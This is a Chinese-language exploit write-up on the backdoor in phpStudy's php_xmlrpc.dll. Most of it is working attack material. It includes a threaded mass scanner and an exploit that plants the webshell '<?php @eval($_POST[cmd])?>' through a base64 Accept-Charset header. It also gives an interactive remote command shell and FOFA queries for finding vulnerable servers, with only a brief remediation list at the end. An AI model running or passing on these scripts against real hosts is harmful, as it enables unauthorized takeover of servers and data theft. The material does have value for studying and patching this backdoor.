一、漏洞描述
Phpstudy軟件是國內的一款免費的PHP調試環境的程序集成包,通過集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer
多款軟件一次性安裝,無需配置即可直接安裝使用,具有PHP環境調試和PHP開發功能,在國內有着近百萬PHP語言學習者、開發者用戶。
正是這樣一款公益性軟件,2018年12月4日,西湖區公安分局網警大隊接報案稱,某公司發現公司內有20余台計算機被執行危險命令,疑似遠程控制抓取賬號密碼等計算機數據 回傳大量敏感信息。
二、后門漏洞影響版本
phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
三、漏洞危害
風險等級:高
風險危害:
1.獲取服務器權限
2.寫入webshell
四、后門漏洞復現流程
Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64編碼)
注意:
Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗號后面這個空格需要刪除,否則無回顯
payload也就是我們的php代碼,構造要經過base64編碼過后再放入
復現過程:
抓取URL請求包,首頁即可
然后發送到 Repeater模塊測試
這里可以看見前面所說的gzip逗號后面的空格沒有刪掉
再者Accept-Charset需要自己構造
我們構造一個 system('whoami'); base64編碼過后的然后發送過去測試
這里可以看見,執行了whoami
接下來編寫我們的 批量POC、EXP、交互shell
五、 Python編寫批量POC、EXP、交互shell
批量POC:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白紙書生 # @FileName: phpstudy_poc.py import requests import threading def POC(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7' } try: response = requests.get(url=url,headers=headers,timeout=3) print(url) if response.status_code == 200: if "\"local<****>host\"" in response.text: print('存在phpstudy后門漏洞------------',url) with open('vulnstudy.txt','a') as f: f.write(url+'\n') except: return if __name__ == '__main__': number = int(sys.argv[1]) count = 0 for url in open(r'urls.txt'): count+=1 t = threading.Thread(target=POC, args=(url.strip(),)) # 注意傳入的參數一定是一個元組! t.start() if count % number == 0: time.sleep(3)
EXP:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白紙書生 # @FileName: phpstudy_exp.py import requests def EXP(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs=' } try: response = requests.get(url=url,headers=headers,timeout=3) if response.status_code == 200: print('Success------------',url+"shell.php") except: return if __name__ == '__main__': for url in open(r'urls.txt'): EXP(url.strip())
exp這里的payload是寫入webshell
payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
通過$_SERVER['DOCUMENT_ROOT'] 獲取網站根目錄再寫入。
交互shell:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白紙書生 # @FileName: phpstudy_shell.py import requests import re import base64 def SHELL(url): try: while 1: shell = input(">>>") shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': base64.b64encode(shell.encode()).decode() } response = requests.get(url=url,headers=headers,timeout=3) text = re.findall(r"abds(.+?)abds",response.text,re.S) print(text[0]) if shell == "0": return except: print("異常") if __name__ == '__main__': url = 'http://localhost/' SHELL(url)
回顯通過php的echo "abds"; 包裹着 也就是命令被兩個字符串包裹着,然后我們通過python正則把它從abds中間提取出來即可
測試結果:
六、通過網絡空間引擎批量搜索
這里采用fofa
構造通過返回的server
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"
感覺准確率不夠高的話,可以再加個php探針做限制
七、后門漏洞修復方式
1.更新phpstudy
2.手動刪除該dll文件
3.采用火絨等殺毒軟件查殺